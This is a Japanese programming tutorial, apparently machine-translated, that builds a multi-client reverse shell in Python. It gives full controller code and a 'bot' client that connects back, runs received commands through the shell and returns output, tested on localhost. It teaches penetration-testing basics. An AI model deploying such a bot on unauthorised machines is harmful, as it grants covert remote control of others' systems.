複数のターゲットを制御するためのリバースシェル

PythonPythonBeginner
オンラインで実践に進む

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

このプロジェクトでは、Python を使ってリバースシェルを作成する方法を学びます。これにより、複数の攻撃されたマシン(「ボット」とも呼ばれます)を制御することができます。従来のシェルとは異なり、リバースシェルはボットからコントローラに接続を開始し、ファイアウォールや NAT の後ろにあるリモートホストを管理できるようにします。この方法は、サイバーセキュリティの実践において浸透テストや安全な方法でコントロールされた環境を管理するために広く使用されています。

実装に入る前に、リバースシェルアプリケーションの背後にある基本概念、つまりクライアントサーバ(C/S)アーキテクチャと伝送制御プロトコル(TCP)を理解することが重要です。

C/S アーキテクチャは、サービスを要求するクライアントと、サービスを提供するサーバから構成されています。この場合、ボットはクライアントとしてサーバに接続を開始し、私たちにリモートでコマンドを実行させることができます。

サーバとクライアント間の信頼性の高い接続指向通信には TCP を使用します。TCP は、コマンドを正確に順序通りに送信し、エラーなく応答を受け取るために必要なデータの正確な配信を保証します。

👀 プレビュー

Reverse shell command execution

🎯 タスク

このプロジェクトでは、以下を学びます。

  • ネットワーク通信の基礎としてのクライアントサーバ(C/S)アーキテクチャと伝送制御プロトコル(TCP)を理解する方法。
  • 複数のクライアント(ボット)からの着信接続を待ち受けるサーバをセットアップする方法。
  • サーバに接続し、受信したコマンドを実行するクライアントスクリプトを作成する方法。
  • 接続されたクライアントとやり取りするために、サーバ上でコマンド実行と結果取得機能を実装する方法。
  • 複数のクライアント接続を同時に管理し、コマンドを発行するためにそれらの間を切り替える方法。

🏆 成果

このプロジェクトを完了すると、以下のことができるようになります。

  • 信頼性の高いネットワーク通信のためのクライアントサーバモデルと TCP の基本を身につけることを示すことができます。
  • Python でマルチクライアントリバースシェルサーバを実装することができます。
  • リモートサーバに接続し、サーバから送信されたコマンドを実行することができるクライアントスクリプトを作成することができます。
  • 複数の接続を処理し、制御された環境で複数のクライアントとの通信を管理することができます。
  • ネットワークプログラミングの実際の経験と、そのサイバーセキュリティとリモートシステム管理における応用を理解することができます。

サーバークラスを初期化する

server.py という名前のファイルで、Server クラスの基本構造から始めます。

import socket
import threading

class Server:
    def __init__(self, host='0.0.0.0', port=7676):
        self.host = host
        self.port = port
        self.clients = []
        self.current_client = None
        self.exit_flag = False
        self.lock = threading.Lock()

Server クラスは、複数のクライアント接続を処理できるサーバーを作成するために設計されており、リバースシェルアプリケーションのコンテキストでは一般的に「ボット」と呼ばれます。初期化メソッド (__init__) で定義されているコンポーネントと機能を分解してみましょう。

  1. インポート文
    • import socket:これは Python の組み込みの socket モジュールをインポートします。このモジュールはネットワーク通信に必要な機能を提供します。ソケットは双方向通信チャネルのエンドポイントであり、クライアントと接続して通信するために使用できます。
    • import threading:これは threading モジュールをインポートします。これにより、プロセス内で複数のスレッドを作成できるようになります。これは、サーバーの主実行フローをブロックすることなく、同時に複数のクライアント接続を処理するために不可欠です。
  2. クラス定義
    • class Server::この行は Server クラスを定義します。このクラスは、リバースシェルのサーバーサイド操作に必要な機能をカプセル化しています。
  3. 初期化メソッド (__init__)
    • def __init__(self, host='0.0.0.0', port=7676)::このメソッドは Server クラスの新しいインスタンスを初期化します。デフォルト値を持つ 2 つのパラメータがあります。
      • host='0.0.0.0':デフォルトのホストアドレス '0.0.0.0' は、サーバーがすべてのネットワークインターフェイスで待ち受けることを指定するために使用されます。これにより、サーバーはマシンが持つ任意の IP アドレスからアクセス可能になります。
      • port=7676:これはサーバーが着信接続を待ち受けるデフォルトのポート番号です。ポート番号は、同じマシン上で実行されている異なるサービスを区別するために使用されます。ポート番号 7676 の選択は任意であり、ユーザーの好みや要件に基づいて変更できます。
  4. インスタンス変数
    • self.host:これはサーバーが着信接続を待ち受けるホストアドレスを格納します。
    • self.port:これはサーバーが待ち受けるポート番号を格納します。
    • self.clients = []:これは接続されたクライアントを追跡するための空のリストを初期化します。各接続されたクライアントはこのリストに追加され、サーバーが複数のクライアントを管理して通信できるようになります。
    • self.current_client = None:この変数は、コマンドを送信またはデータを受信するための現在選択されたクライアント(もしあれば)を追跡するために使用されます。
    • self.exit_flag = False:このフラグはサーバーのメインループを制御するために使用されます。このフラグを True に設定すると、サーバーにグレースフルにシャットダウンする信号が送られます。
    • self.lock = threading.Lock():これはスレッドロックオブジェクトを作成します。これは同期プリミティブです。ロックは、同時に 1 つのスレッドのみが共有リソースにアクセスまたは変更できるようにするために使用され、競合条件を防止してデータの整合性を保証します。
✨ 解答を確認して練習

TCP サーバーを起動する

サーバーを起動して接続を待ち受けるための run メソッドを実装します。

## server.py を続ける
    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
            server_socket.bind((self.host, self.port))
            server_socket.listen(10)
            print(f"Server listening on port {self.port}...")

            connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
            connection_thread.start()

            while not self.exit_flag:
                if self.clients:
                    self.select_client()
                    self.handle_client()

run メソッドは、Server クラスの一部であり、TCP サーバーを起動してクライアント(またはリバースシェルのコンテキストでの「ボット」)からの着信接続を待ち受けます。このメソッドで起こることの解説を以下に示します。

  1. ソケットの作成
    • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket::この行は with 文を使って新しいソケットを作成し、必要なくなったときにソケットが自動的に閉じることを保証します。socket.AF_INET 引数は、ソケットが IPv4 アドレッシングを使用することを指定し、socket.SOCK_STREAM は、信頼性の高い接続指向通信を提供する TCP ソケットであることを示します。
  2. ソケットのバインド
    • server_socket.bind((self.host, self.port))bind メソッドは、ソケットを特定のネットワークインターフェイスとポート番号に関連付けます。この場合、それはソケットを Server インスタンスの hostport 属性にバインドし、そのアドレスとポートで着信接続を待ち受けるように準備します。
  3. 接続の待ち受け
    • server_socket.listen(10):この行は、ソケットに着信接続を待ち受けるように指示します。引数 10 は、サーバーが新しい接続を拒否し始める前のキューに入れられた接続の最大数(バックログ)を指定します。これは同時接続の総数を制限するものではなく、受理待ちの接続数を制限するものです。
  4. サーバー起動メッセージ
    • print(f"Server listening on port {self.port}..."):コンソールに、サーバーが起動して動作し、指定されたポートで接続を待ち受けていることを示すメッセージを表示します。
  5. 着信接続の処理
    • connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)):この行は新しい Thread オブジェクトを初期化し、そのターゲットを server_socket を引数とした self.wait_for_connections メソッドに設定します。このメソッド(コードスニペットには表示されていません)はおそらく、ループ内で着信接続を継続的に受け付け、それらを self.clients リストに追加するように設計されています。
    • connection_thread.start():スレッドを開始し、別の実行スレッドで self.wait_for_connections メソッドを呼び出します。これにより、サーバーは接続を待っている間にブロックすることなく、run メソッドの残りの部分を継続して実行できます。
  6. サーバーのメインループ
    • while not self.exit_flag::このループは、self.exit_flagFalse の間続けて実行されます。このループ内で、サーバーは接続されたクライアントを管理したり、サーバーコマンドを処理したりするなどのタスクを実行できます。
    • if self.clients:self.clients リストに接続されたクライアントがいるかどうかを確認します。
      • self.select_client():おそらくサーバーオペレータが接続されたクライアントの 1 つを選択して相互作用するためのメソッド(コードスニペットには表示されていません)。これには、クライアントにコマンドを送信したり、データを受信したりすることが含まれる可能性があります。
      • self.handle_client():選択されたクライアントとの相互作用を処理するおそらく別のメソッド(表示されていません)。これには、サーバーオペレータからのコマンドを読み取り、クライアントに送信し、クライアントの応答を表示することが含まれる可能性があります。

この構造により、サーバーは非ブロッキングモードで複数のクライアント接続を待ち受けて管理し、接続の受け付けとクライアント管理を並行してスレッドを使って行います。

✨ 解答を確認して練習

着信接続を受け付ける

着信するクライアント接続を別のスレッドで管理するための wait_for_connections メソッドを追加します。

## server.py を続ける
    def wait_for_connections(self, server_socket):
        while not self.exit_flag:
            client_socket, client_address = server_socket.accept()
            print(f"New connection from {client_address[0]}")
            with self.lock:
                self.clients.append((client_socket, client_address))

wait_for_connections メソッドは、サーバーで着信するクライアント接続を継続的に待ち受けて受け付けるように設計されています。このメソッドは別のスレッドで実行される予定で、accept 呼び出しによってブロックされることなく(新しい接続を待つため)、サーバーが他のタスク(接続されたクライアントとの相互作用など)を実行できるようにします。以下に詳細を示します。

  1. 継続的な待ち受けループ
    • while not self.exit_flag::このループは、self.exit_flagFalse の間継続的に実行されます。このフラグの目的は、この待ち受けループを含むサーバーを停止する制御可能な方法を提供することです。self.exit_flagTrue に設定されると、ループは終了し、サーバーが新しい接続を受け付けなくなります。
  2. 接続の受け付け
    • client_socket, client_address = server_socket.accept()accept メソッドは着信接続を待ちます。クライアントが接続すると、接続を表す新しいソケットオブジェクト (client_socket) と、クライアントの IP アドレスとポート番号を含むタプル (client_address) を返します。この行は、新しい接続が受け取られるまでスレッドの実行をブロックします。
  3. 接続通知
    • print(f"New connection from {client_address[0]}"):新しい接続が受け付けられると、コンソールに新しく接続したクライアントの IP アドレスを示すメッセージが表示されます。これは、ログ記録や監視目的に役立ちます。
  4. スレッドセーフなクライアント管理
    • with self.lock::これはスレッドロック (self.lock) を使用しており、ブロックの開始時に取得され、終了時に自動的に解放されます。ロックの目的は、共有リソース(この場合、self.clients リスト)へのスレッドセーフなアクセスを保証することです。これは、データの破損を防ぎ、一貫性を保証するためにマルチスレッド環境で重要です。
    • self.clients.append((client_socket, client_address)):保護されたブロック内で、このメソッドは新しいクライアントのソケットとアドレスをタプルとして self.clients リストに追加します。このリストはすべての接続されたクライアントを追跡し、後でサーバーが個別にそれらと相互作用できるようにします。

このメソッドにより、サーバーは他のタスクと並行して着信接続を処理し、接続されたクライアントのリストを安全に管理して、さらなる相互作用のために準備します。スレッドとロックの使用は、並列環境におけるパフォーマンスとデータの整合性を維持するために不可欠です。

✨ 解答を確認して練習

クライアントとの相互作用関数を実装する

接続されたクライアントと選択して相互作用する関数を実装します。

## server.py を続ける
    def select_client(self):
        print("利用可能なクライアント:")
        for index, (_, addr) in enumerate(self.clients):
            print(f"[{index}]-> {addr[0]}")

        index = int(input("インデックスでクライアントを選択してください:"))
        self.current_client = self.clients[index]

    def handle_client(self):
        client_socket, client_address = self.current_client
        while True:
            command = input(f"{client_address[0]}:~## ")
            if command == '!ch':
                break
            if command == '!q':
                self.exit_flag = True
                print("サーバーを終了しています...")
                break

            client_socket.send(command.encode('utf-8'))
            response = client_socket.recv(1024)
            print(response.decode('utf-8'))

select_clienthandle_client 関数は、リバースシェルサーバ環境で接続されたクライアントと相互作用するための重要なコンポーネントです。各関数の動作方法を以下に示します。

select_client 関数

この関数は、現在接続されているすべてのクライアントを一覧表示し、サーバーオペレータに相互作用するための 1 つを選択させる責任があります。

  • print("利用可能なクライアント:"):利用可能なクライアントの一覧が続くことを示すメッセージを表示します。
  • for index, (_, addr) in enumerate(self.clients):self.clients リストを反復処理します。このリストは、クライアントソケットとアドレスのタプルを含んでいます。_ はクライアントソケットのためのプレースホルダで、このコンテキストでは必要ありません。addr はクライアントアドレスです。enumerate 関数は各項目にインデックスを付けます。
  • print(f"[{index}]-> {addr[0]}"):各クライアントに対して、インデックスとクライアントの IP アドレスを表示します。これにより、オペレータが接続されているクライアントの数とどのクライアントが接続されているかを容易に確認できます。
  • index = int(input("インデックスでクライアントを選択してください: ")):サーバーオペレータに相互作用したいクライアントのインデックスを入力するように促します。この入力は整数に変換され、index に格納されます。
  • self.current_client = self.clients[index]self.current_client を選択されたインデックスに対応するクライアントタプル(ソケットとアドレス)に設定します。このクライアントが後続のコマンドの対象になります。

handle_client 関数

この関数は、選択されたクライアントにコマンドを送信し、応答を受け取るための機能を提供します。

  • client_socket, client_address = self.current_clientself.current_client タプルを client_socketclient_address に展開します。
  • while True::無限ループに入り、サーバーオペレータが特別なコマンドが入力されるまで、クライアントに対してコマンドを継続的に送信できるようにします。
  • command = input(f"{client_address[0]}:~## "):サーバーオペレータにコマンドを入力するように促します。プロンプトには、明確にするために現在のクライアントの IP アドレスが含まれています。
  • if command == '!ch'::特別なコマンド !ch が入力されたかどうかを確認します。これは、現在のクライアントを変更する信号です。その場合は、ループを抜けて、サーバーオペレータが新しいクライアントを選択できるようにします。
  • if command == '!q'::サーバーを終了するコマンド (!q) が入力されたかどうかを確認します。その場合は、self.exit_flagTrue に設定してサーバーループを終了し、クライアント処理ループを抜けます。
  • client_socket.send(command.encode('utf-8')):入力されたコマンドをクライアントに送信します。コマンドは、ネットワーク通信ではデータがバイト列である必要があるため、UTF-8 エンコーディングを使用してバイト列にエンコードされます。
  • response = client_socket.recv(1024):クライアントからの応答を待ち受けて受け取ります。recv(1024) 呼び出しは、最大 1024 バイトを読み取ることを指定します。より大きな応答の場合は、これを調整するか、ループで処理する必要があります。
  • print(response.decode('utf-8')):受信したバイト応答を UTF-8 でデコードして表示します。これにより、サーバーオペレータにクライアントマシン上で実行されたコマンドの結果が表示されます。

これらの関数は一緒になって、サーバーオペレータに複数の接続されたクライアントを管理し、選択されたクライアントにコマンドを発行し、それらの応答を表示することを可能にします。これらは、リバースシェルサーバの基本的な機能です。

✨ 解答を確認して練習

サーバーを実行する

サーバーをインスタンス化して実行するためのエントリポイントを追加します。

## server.py を続ける
if __name__ == "__main__":
    server = Server()
    server.run()

このスクリプトのこの部分は、スクリプトが実行されたときにサーバーを起動し、クライアントからの接続を受け付けて管理できるようにします。

✨ 解答を確認して練習

クライアントを作成する

次に、クライアント(ボット)側を作成しましょう。クライアントはサーバーに接続し、受信したコマンドを実行します。

client.py に以下の内容を追加します。

import socket
import subprocess
import sys
import time

def connect_to_server(host, port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        while True:
            command = sock.recv(1024).decode('utf-8')
            result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            output = result.stdout.decode(sys.getfilesystemencoding())
            sock.send(output.encode('utf-8'))
            time.sleep(1)

if __name__ == "__main__":
    HOST, PORT = "127.0.0.1", 7676
    connect_to_server(HOST, PORT)

client.py スクリプトは、クライアント(またはリバースシェルのコンテキストでの「ボット」)がサーバーに接続し、着信コマンドを処理する方法を示しています。以下は段階的な説明です。

  • def connect_to_server(host, port)::サーバーに接続するためのホストとポート番号を受け取る関数を定義します。
  • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock::IPv4 アドレッシング (AF_INET) と TCP (SOCK_STREAM) を使用してソケットオブジェクトを作成し、with ブロックを抜けた後に自動的に閉じることを保証します。
  • sock.connect((host, port)):指定されたホストとポートのサーバーに接続を開始します。
  • while True::サーバーからのコマンドを継続的に待ち受けるための無限ループに入ります。
  • command = sock.recv(1024).decode('utf-8'):サーバーからコマンドを受信するまで待ち、最大 1024 バイトを読み取ります。受信したバイトは次に UTF-8 を使用してデコードされ、文字列に戻されます。
  • result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE):受信したコマンドをシステムシェルを使用して実行します。stdout=subprocess.PIPEstderr=subprocess.PIPE はそれぞれコマンドの標準出力と標準エラーをキャプチャします。
  • output = result.stdout.decode(sys.getfilesystemencoding()):コマンド実行の出力をバイトから文字列に変換するために、ファイルシステムのエンコーディングを使用してデコードします。これにより、システムのファイルシステム固有の文字が正しく解釈されます。
  • sock.send(output.encode('utf-8')):コマンド実行結果をサーバーに送信し、文字列からネットワーク送信に適したバイトに変換するために UTF-8 にエンコードします。
  • time.sleep(1):次のコマンドを待ち受ける前に 1 秒間実行を一時停止します。これは通常、クライアントが急速な連続要求でネットワークやサーバーを圧倒しないようにするために使用されます。

このクライアントスクリプトは、実行されるマシンを指定されたサーバーに接続し、コマンドを待ち受け、実行し、結果を返す「ボット」に変換します。この設定は、浸透テスト実験などのサイバーセキュリティ実践の制御された環境において一般的で、研究者が攻撃と防御をシミュレートしてセキュリティ対策をより良く理解し改善するために使用されます。

✨ 解答を確認して練習

セットアップをテストする

最後に、リバースシェルのセットアップが期待通りに機能することを確認するために、テストしましょう。

サーバーを実行する

まず、ターミナルウィンドウで server.py スクリプトを実行します。

python server.py
クライアントを実行する

別のターミナルウィンドウを開きます。

新しいターミナルウィンドウを開く

client.py スクリプトを実行します。

python client.py
コマンドを実行する

サーバーのターミナルに戻ります。

クライアント選択付きのサーバーターミナル

接続されたクライアントを選択してコマンドを実行できるはずです。たとえば、ディレクトリの内容を一覧表示する試してみましょう。

ls /

サーバーのターミナルに、クライアントマシンで実行された ls / コマンドの出力が表示されるはずです。

サーバーターミナルの ls 出力

まとめ

このプロジェクトでは、Python を使ってクライアント - サーバーアーキテクチャと TCP 通信を利用して基本的なリバースシェルを実装する方法を学びました。クライアント(ボット)からの接続を待ち受け、それらにコマンドを送信するサーバーをセットアップしました。この技術は、ネットワークプログラミングとサイバーセキュリティの基礎的なスキルであり、リモートシステムの管理における Python の力と柔軟性を示しています。